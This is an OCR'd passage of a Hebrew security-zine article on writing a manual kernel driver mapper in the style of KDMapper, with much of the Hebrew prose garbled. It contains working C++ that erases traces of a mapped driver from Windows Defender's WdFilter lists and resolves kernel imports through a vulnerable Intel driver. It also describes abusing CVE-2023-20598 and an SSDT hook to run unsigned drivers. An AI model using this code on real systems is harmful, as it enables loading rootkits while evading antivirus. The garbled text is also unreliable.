<< unloadedName << std::endl);

:WdFilterDriverList

7572 Xanm N 0d7Y Driver-n 1770 NiM'wn 75 0yi,N"Y 112V1Y NINNKD N'TINN NN NIRT
Miynwnl 719 10T DX [1an? [Nl wdfilter.sys 7w 1o N1ana Narm .Windows 10/11 7w X012

XN NTAaNnNnN

file.net

A Home 5] Files &% Software News ¥ Contact

What is WdFilter?

WidFiltersys is a system file associated with the Microsoft Windows operating system. It is a part of the Microsoft antimalware file system
filter driver, which is a component of Windows Defender, Microsoft's built-in antivirus software. The file is typically located in the C:
\Windows\System32\drivers directory.

The associated software, Windows Defender, is an integral part of the Windows operating system. It provides real-time protection against a
variety of threats, such as malware, spyware, and viruses. The WdFilter.sys file, as part of this system, helps to filter and check files for
malicious content as they are accessed by the system.

WidFiltersys is a crucial component of the Windows Defender system, and as such, it is generally not recommended to remove it. It plays a
vital role in protecting your system from threats. In some cases, if the file becomes corrupted or causes system issues, it may need to be
repaired or replaced. Any modifications to system files should be done with caution and preferably under the guidance of a computer
professional, as improper changes can cause significant system issues.
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NOWNN 7Y Yad 0w Drivers-n W nNmy 7Y 002NN 0T N1an DA ,D'MTIEN D1ININ 22N d
YUNNWN? 70N IT nXaNNA L(LIST_ENTRY double linked list 7y 'na XN 0a - N7 N1an 7w njpn2d)
V1 NxXy NIMNaNN 7y D'015N DX JIONK X1 Q0N TIVN 10IN 7721 pattern scanning n2na
:(KDMapper 7¢ AXNL'AN TINY2 KIXN7 [N1IY) W7 77YNn DTPNRNYT 112 Y¥A7 1"XW 010N D'I'YN
NT Nj7na ,RuntimeDriverList - DIvVN D'-Driver-n NN'WA 1Ay pattern scanning-n 7'nna (1
(MmN DTN 2D N DX AN [N1) 0N 0'-Driver-n NIND 7w N2 DA Driver-1 [ONINN
DNIX DAY MpFreeDriverinfoExRef Dwa nn'wann Driver INIX 7V yTMin 1NNW7 N9 n71yol
[IN27T2 RIXNT7 N¥M
;122 ,0MNKX DY NIR'YNYT IRXNY NRIYRIN DIAINON "Myl wnnwl (2
[IVO Driver 73 7y yT'n XN NNXKA 1AW ynn e
NN'YWIN 2V 12N Yy¥a7? 20 IN'R,NN'WNA [IWRIN Driver-n 7w LIST_ENTRY-7 y'axn e
LIST_ENTRY nooian nn'wn 72 md nn'win 7y 1ay? 7'nnin% 7511 0roanan 0onIvn RN INR
(1790 "orTYinn X7"N DNANnNn NN TYNNY INKRN 'MOYY) NINK? NO0TIN N¥Z TIYV DAY NNy
N> .UNICODE_STRING-> Driver-n 7 Dwn NX¥nl n1ana LIST_ENTRY-n MNX W'Y NIKN? N1
:[2 DX ,117W Driver-n 7w DWY NNT RIN DX 217221 N'Y7XRpP17 DWN DR N7 PiDDBCacheTable-a n'wyw

.N'2NN7 NNIYWIN NIX 1IRXN

Driver-n 7y yT'nn DX 1'0N7 ,TNXA NN DX TIINY7 0T 2%W2 7511 |3 197 1Ik¥NY DM 7> oy
TWwnaw 7722 (LIST_ENTRY Unlinking niwy? 22121 MpFreeDriverinfoExRef Nty miannn 1w
-N NN'YN 7Y 1TON ININA KINW YIT X) Driver 75 7y yT'n DA W' 0'-Driver-n 7w yTn 7y Tvinnn

17w Driver-n NX IXNNY NIT'RN DX 09X (LIST_ENTRY

(wcsstr(ImageName.get(), intel_driver::GetDriverNameW().c_str())) {

bool removedRuntimeDriversArray = false;
PVOID SameIndexList = (PVOID)((uintptr_t)Entry - 0x10);

(int k = 0; k < 256; k++) {
PVOID value = 0;
ReadMemory(device_handle, RuntimeDriversArray + (k * 8), &value, (PVOID));
(value == SameIndexList) {
PVOID emptyval = (PVOID)(RuntimeDriversCount + 1);
WriteMemory(device_handle, RuntimeDriversArray + (k * 8), &emptyval, (PVOID));
removedRuntimeDriversArray = true;

>

(!removedRuntimeDriversArray) {
Log("[!] Failed to remove from RuntimeDriversArray" << std::endl);
false;

¥

auto NextEntry
auto PrevEntry

ReadListEntry(uintptr_t(Entry) (offsetof(struct _LIST_ENTRY, Flink)));
ReadListEntry(uintptr_t(Entry) (offsetof(struct _LIST_ENTRY, Blink)));

WriteMemory(device_handle, uintptr_t(NextEntry) (offsetof(struct _LIST_ENTRY, Blink)), &PrevEntry,
(LIST_ENTRY::Blink));

WriteMemory(device_handle, uintptr_t(PrevEntry) + (offsetof(struct _LIST_ENTRY, Flink)), &NextEntry,
(LIST_ENTRY::Flink));

ULONG current = 0;
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ReadMemory(device_handle, RuntimeDriversCount, &current, (ULONG)) ;
current--;
WriteMemory(device_handle, RuntimeDriversCount, &current, (ULONG)) ;

uintptr_t DriverInfo = (uintptr_t)Entry - 0x20;

USHORT Magic = 0;
ReadMemory(device_handle, DriverInfo, &Magic, (USHORT) ) ;
(Magic !'= oxDA18) {
Log("[!] DriverInfo Magic is invalid, new wdfilter version?, driver info will not be released to prevent
bsod" << std::endl);
}

CallKernelFunction<void>(device_handle, nullptr, MpFreeDriverInfoEx, DriverInfo);

Manual Driver 7@ ninna ™M1 821 [Iy0 Driver X'aNn% 11N7x¥0 ,0' 20 ynXAl AT NNXR 91017

J1DWnNN [NDT7 DINN X7 Driver Nion? - Mapper

DINnN X7 Driver N1'yv

72NN 7700 DY 7'NNNY7 7210 NDWNA NIANN YInnY? 1D INRANNI 'MYYINN Driver-n N1'WO NXY?
V91 DT 77Nl MRAN N7'NNA V91 I'D7YW 7NN DX "MXM .DINN X7 Driver N1'WO - NaNdN v

.NM'YLN VIX'2 A7w-27Y

:N2'Y0V"Y Driver-n N1dnI Unsigned Driver-n 21N NN

N1'YLN 70NN DX 7'NNNY 7511 Yaizn 7712 11D '0'02 y T Nawnl |I0OXNN Driver-n DIN DR INX7?
NN YNNW1 N7 72waw |amdi 17w Driver-n 11QY executable RINW 7177 |INDT NRY7NA
29 [7IMn pnyn Ix'? axn mpn ot 2mne 'nmv 1197 .37 0TI IRANN1 YVY NMY7INn
2w X 12D 7N N7 0D 01007 'NNNT CWOR (NI NN [7N7 1IN NN T0K) NDINN

N ANIKND NIXRT QYYD Amina atn! nI71Ion YTow

image -n 122 ,Driver-n 7¢ mipmn pnynn N7 2wn NX TAR NDINN 270 DX QMDY 7'NN1 non

:NINTD NIX2 NXT NIWYY7 N1 .PE-N UNM19N sections-nI headers

memcpy(local_image_base, data, nt_headers->OptionalHeader.SizeOfHeaders);

PIMAGE_SECTION_HEADER current_image_section = IMAGE_FIRST_SECTION(nt_headers);

(auto i = @; i < nt_headers->FileHeader.NumberOfSections; ++i) {
((current_image_section[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) > ©)

H
auto local_section = reinterpret_cast<void*>(reinterpret_cast<uint64 t>(local_image_base) +
current_image_section[i].VirtualAddress);
memcpy(local_section, reinterpret_cast<void*>(reinterpret_cast<uint64 t>(data) + current_image_section[i].PointerToRawData),
current_image_section[i].SizeOfRawData);

NINAN 7Y 110K TR 702W D'719-NNY7 77NN IR DNINY | 197 'M1'NYY D2IZ'NN 0'YAan 0T 17w2

ANXY D YINN 117Y DDINNY NN INIX [[7N7 71D 791 naw mIxnl 17w wim'wn 17
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:Relocations

NN WNANWN? IX W' 2770017 ,Ndn NoY7 DRaND NNIXRY TN DX DANN 177'onipwd
215" X7 2A7vonipnw 7722 .'9'¥90 NIT'RA [DINT 0TI9I TIZ2 NIN'DR 11D DT DANYT 'TO NIntion
DY N720 NI INXY 7Un NIRYNIM 0'02 NAIMD NIJINYT 71"'wn 1790170 ,|VON NIDINN N9'X NYT?
N7'NNN VOSIX + NX¥YNIN 0'02 NAIND) NRXAIM NAINDY7 N9 75 Tynn XIn N2 relocations table

TR [7N7 0N loader-Nw (N1DINN

:non? AYPEKX INIKY XN MNKN2 N71uNn NNIX2 IXINN '1"7nnn D

Relocations

When a program is compiled, the compiler assumes that the executable is going to be loaded at
a certain base address, that address is saved in IMAGE OPTIONAL HEADER.ImageBase , some addresses
get calculated then hardcoded within the executable based on the base address.

However for a variety of reasons, it's not very likely that the executable is going to get its
desired base address, it will get loaded in another base address and that will make all of the
hardcoded addresses invalid.

A list of all hardcoded values that will need fixing if the image is loaded at a different base
address is saved in a special table called the Relocation Table (a Data Directory within the

.reloc section). The process of relocating (done by the loader) is what fixes these values.

AIT'R7 NNIXR D'2'Y0N 1INIR N ?217W N1DINYT IN'RN' DN ) relocations-n X NIWI INIX Y'X,1'WDY
NIND |2 2IY) KN7TN NR'YN :0IYD TINNA [I'VIN .UM-2 NIAIMNdN N2N2 NIZITA NIUNdN v 7172
N90I1N NITYA relocations-nn TNXR 72 '1'wI (N1DINT [N 179nI7nY 0'01N NAIMDY NY7177n0 0'01N

.relocation 727 Xn'77TN

T2 NININY AN 70NN 72 ,0101NN relocations-n N2 NNIX? NINKNN NN

void kdmapper::RelocateImageByDelta(portable_executable::vec_relocs relocs, uint64_t delta) {
¢ auto& current_reloc : relocs) {
(auto 1 = @u; i < current_reloc.count; ++i) {
uintl6_t type = current_reloc.item[i] >> 12;
uintl6_t offset = current_reloc.item[i] & OxFFF;

(type == IMAGE_REL_BASED_DIR64)
*reinterpret_cast<uint64 _t*>(current_reloc.address + offset) += delta;

:Security Cookie

SecurityCookie-n 7Y 10N XInW '931 ,nuNY? YWpRY PE format 7y "amw n72yn Mmxn v
stack DWA DA XYW ,NTN 122220 .cookie 7Y [ONIN' NAW NYZXI0Y'YT NAIMD X' Yalpn NNTaN
TWn 7w aRnwnl cookie-n W MmN YN MY NAtya stack overflow yian'? Ty canary

['2 KN7TN 197 NIRIVYYIN NAINDN 'Y :VIYD TINN '1'WUN relocations-7 NNIT NIX2 N9 DA .'NDINN

BYOVDnND'w m1va DSE qpun
www.DigitalWhisper.co.il
17 2024 1,163 |I"2




Technologic

NIYN X7 mxy 1vn) N7w W7 cookie-n 7w N 1'wi N2 171onIpnw 0'0an 127 *111pn 0'oan

(XD ININN DT 70N L(NaIn X7 N1 2w DY

bool kdmapper::FixSecurityCookie(void* local_image, uint64 t kernel_image_base)
{

auto headers = portable_executable::GetNtHeaders(local_image);
(!headers)
false;

auto load_config_directory = headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress;
(!load_config_directory)

Log(L"[+] Load config directory wasn't found, probably StackCookie not defined, fix cookie skipped" << std::endl);
true;

}

auto load_config_struct = (PIMAGE_LOAD_CONFIG_DIRECTORY) ((uintptr t)local_image + load_config_directory);
auto stack_cookie = load_config_struct->SecurityCookie;
(!stack_cookie)

Log(L"[+] StackCookie not defined, fix cookie skipped" << std::endl);
true;

¥

stack_cookie = stack_cookie - (uintptr_t)kernel_image_base + (uintptr_t)local_image;

(*(uintptr_t*)(stack_cookie) != ©x2B992DDFA232) {
Log(L"[-] StackCookie already fixed!? this probably wrong" << std::endl);
false;
}

Log(L"[+] Fixing stack cookie" << std::endl);

auto new_cookie = @x2B992DDFA232 ~ GetCurrentProcessId() ~ GetCurrentThreadId();
(new_cookie == B992DDFA
new_cookie = 992DDF 3

*(uintptr_t*)(stack_cookie) = new_cookie;
true;

:Executable Imports

.PE yalpm section 71N n720> |oNnIkN import address table-n Da ,relocations table-7 nniTa
NN D2 N770 N7200 W'y 0N NNYWY N'NDIRN DDINNY NIMDS0 17'On 017200 ,NT Njzna

.imported X'ny N0 7D 11N NN NIvnivnn ni7von v [IN2T2 NI'NDIIN NIAIMIN

TIAVN K7 NDINNY IX NDWNAN 7Y NNDIN NXN7 DNINRNN 1770 DIunonw XTH7 012N N ni
N71v9 75 Naw n'™90n NKr'¥n Driver-n 7@ imports-n 72 7Y 1ayn TIXN 0IYD |I'VIN )XY 1D
-0 7w IAT-D M7 DIr0ANN NN W N2AMDIEL,NT7IVO 7D W NIMMIKN NAINDN XY hwnimn

NI'7207 NIMDO0 I'NF NIMD0NY |2 AT Mna .Driver

bool kdmapper::ResolveImports(HANDLE iqvwé4e_device_handle, portable_executable::vec_imports imports) {
wfor ( auto& current_import : imports) {
ULONG64 Module = utils::GetKernelModuleAddress(current_import.module_name);
(!'Module) {
(DISABLE_OUTPUT)
std::cout << "[-] Dependency " << current_import.module_name << " wasn't found" << std::endl;

false;

(auto& current_function_data : current_import.function_datas) {
uint64_t function_address = intel_driver::GetKernelModuleExport(iqvw64e_device_handle, Module,
current_function_data.name);

(!function_address) {
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(Module != intel_driver::ntoskrnlAddr) {
function_address = intel_driver::GetKernelModuleExport(iqvwé4e_device_handle,
intel_driver::ntoskrnlAddr, current_function_data.name);
(!function_address) {
! (DISABLE_OUTPUT)

std::cout << "[-] Failed to resolve import " << current_function_data.name << "
current_import.module_name << ")" << std::endl;

false;

}

*current_function_data.address = function_address;

image-n 7w headers-n 7y 70n01 (N'VAN7N N"I902 exports-n) NI7IWON 7w NIAIMDN DX XIXAYT ')
NtQuerySystemInformation n71y92 wnNW1 [IN2T2 N'72270 N"190N NAIND NX KI¥N7 'O .[NdT2
GetKernelModuleAddress-I GetKernelModuleExport NI71yon 178 .ANIF DT 'MA'T VY

.N72uN7 TIiEn Yopra nnkNNa

22970 |N277 Driver-n 7¢ N'MInn NINNN DX XD 7'Myn7 7511 910 910 ,nypYnwy ynxnn 72 1NX7?
72 1> 270 nxa 71we? o1 e ot At 7w Driver-n Nnyvnn dNKR? LD 1197 nxping
D"{? NIN DAY) Driver-n 7w entry point-7 XN? RIN NIWY? 117 "N [NNRN 12TH ,INX Driver

.(PE format-a nTwD

-N 2N DY Y¥27 NI Ni7aamn Niz7wen 7722 X N7V "0 N7 TR XNjP? NI 0o T W
70X (System Services\NI'N19 NI71IY9 N'X |2 DA N7 ARMPI NAMD) DU NYW7INN D'-Driver
[N"2) SSDT inline hook NYTya NXT NwWYa .117w DriverEntry-n NX 7'yon7 N¥IN'7 N1 TIZ yoi'7? nNa?
TNI'MA ,YARNN DR NIY K71 WINM7 NI NIYE 'Y 17X NI0'YW X DNNK NV'Y IR SSDT hook y¥a7 na

2 AR YNNN L (WIN'Y 12 W 'wIpaw System Service-a D'WNNWN K70 DNIRY NTAIVN 7720

nIwy? N1 .(NtAddAtom - XnaIT?) NN DN'WY? 70 win'wa X¥miw System Service "NN7 w1
.ntdll.dIl 7y GetProcAddress-1 GetModuleHandleA niy¥xnxa Nt

' .System Service-n INIX 7¥ sizeof(Payload) 7w DnIwxIN D'NaN DX WMWY W' pn X7 .2
-0 DX 2MD7 man 7V (NmiT NIv'w Ik MDLs NIv¥nXNa) write-to-read-only Ni71>'a wnnwin®
.System Service-n INIX N7'NN 7y ,1 27w DNAWNY NAIMDN DY 2ANdIwnn Payload

.Usermode N'¥j72191 IX IN2IND2 win'y "'y System Service-7 I ,|on WNX7 .3
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TN |DIRQ NINT A'XNN D'YIN N1'n

Payload:

GetProcAddress(...) p ~

NtAddAtom:

\Jmp unsdrlver_entrypomt)

sizeof(Payload)

unsdriver_entrypoint:

1IN7¥N [N{ZY2 R,|NNO92 PRYNnY? IN'Y 0'WIR 112y KDMapper 7¢ 'ayan Tmyn DX nun? 'mvy

llixya Manual Driver Mapper ix'?

mwYIn Driver 7w 1 INXY7 nOoTIN :0NIA

NN NINNK7? wnn N72annw '"Mw7in Driver 7y 1'wdy 70N01 ,117wn Manual Mapper N2 1NK7?
Driver-n .NMIT NI NPT IR Manual Mapper Nina% 1 a1 Driver-a wnnwn? N1 'R
AMD 7w graphics Driver InT .pdfwkrnl.sys - 17w 'nmxn Dwa Ix ,CVE-2023-20598 XIn 1'7V 70N01w
NP NI7IYS 17'Y9'y 010N 0'MVNTS Dy O'-I0CTL NIYWYT 701 NINYAN DY 7INY NNYON [N1Y

.(vulnurable Drivers-2 NixI91 TINN NIWYZIN 17X) NI71IYVD [NIX2 WNNWN7 'R X170 OX KIT' X7

M{7N2) NN IV PoC 'M1dNI Driver-n X 'MNN1 12,'"7¢ ARNLV'AN TINY DX IARNAN 9102 'MWy
o112 .*7007 Mapper 737 0'02n NX NINNY NN L7172 YIap non-paged [INDT 1IN (netstat.exe NT
72¥ nIn1i Kernel Debugger Dy NTAIY NUNWNN NIX NRIA IR 12 79 21'01'7 NIW'R DA 'M90IN )07

ARbin
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...01D'07 TX

-N ANID .NAIV X7 NMI¥2 ANDIW TNX Driver-n DIan% 7212' Nd>wwnN? 711 Nnd NIXAT? NI AT MRNN
N1ION NIZN NI'Y NN) 0z 0MNIT 0*-Driver-n TP P'MyNY DR :NWP Nn'?'T 72in oIy o'-Driver
N7 D0A) Driver-N NIX 1YY 2NDY7 IN,(D I'N' 1100 7' NYNY IRYN 72 DA TX "MYU7IN NIpnn Ox ,TIRN
NI'2I'YAI9 TIVI TIY D'9'0IMY TNI'MA ,'MID'R Driver N2'MD 7¢ 'wIznn NNV NIX197 712107 710

.(Driver-2 0N 7907 11X NI7IYO NP NYWAITY

2v ooilan Windows \ n2v9n NiDyn 7w nTh Qava NIY2INN 7 0ynd IT NN TR NRXIND NNK]
7w D'RNNL (121 RITTTVE DRT NIWYYT7 'RWD D71V90 DR YNAY? WUiz'aw "y XITIM ,ANDn 79 Nfvo
NNNIL,NOYNL NIYR YAONY NIITT N71V9 Y¥A7 QIn7 Ity7 0713 1780 TNX 72 .n71y97 0un1o

JINTY'NNN Nt

ALORP Ly et

:Windows-2 0'811 AVL 'YV Naw NNIXN 7V 1200

https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk- rtl avl table

:D'TVINN X7 D')aN NX'¥N 7V 1200

https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/Idr_data table entry.htm

:wdfilter.sys 7v 71200

https://n4rlb.com/posts/2020/01/dissecting-the-windows-defender-driver-wdfilter-part-1/

:relocations 7y 720N

https://Oxrick.github.io/win-internals/pe7/

;0192 Security Stack Cookie 71 PE format 7y 1a0n

https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-3-PE.pdf

:KDMapper 0'N97 WP

https://github.com/TheCruZ/kdmapper/blob/master/

JNWYIN Driver 7w nwnwn7 1wy

https://github.com/shaygitub/VulnDrivers/tree/main/CVE-2023-20598/CVE-2023-20598

NYUNYUNN NN W
https://youtu.be/BvYN_TcAZfU
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https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_rtl_avl_table
https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/ldr_data_table_entry.htm
https://n4r1b.com/posts/2020/01/dissecting-the-windows-defender-driver-wdfilter-part-1/
https://0xrick.github.io/win-internals/pe7/
https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-3-PE.pdf
https://github.com/TheCruZ/kdmapper/blob/master/
https://github.com/shaygitub/VulnDrivers/tree/main/CVE-2023-20598/CVE-2023-20598
https://youtu.be/BvYN_TcAZfU
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M1nnn 'y

VT NNLAKNI N7U9N NIdWN Low Level NA'A02 I7NNI NIN'ON MINNA TIXA [MyNNY 2" Tnn
MTAY "W DTN 0'0P'N9N |2 .DINNA NNONNY D TV TINY71 7w YyT'A X NN9Y TIXN |"Iyn
DA |2 11D ,NMYY MIAVYNI 0'¥ap 070N Xann? "1 Windows 10 n2u9nn nd>wnY v'pun v
D''N19 D1INI 1ANI DNAMT NN NNNDI NNNKRE 'Y 10D NIME NPT N1ANY7 N>IVN MDD

.0'an

7Y ANNL'AN TINYA DINKI 7R D09 NIX NIKYT7 [N

https://github.com/shaygitub

MY TMIRD NT YR MR IND

shaygilat@gmail.com

S99 PRTYIN TIMY T IR

https://www.linkedin.com/in/shay-gilat-67b727281
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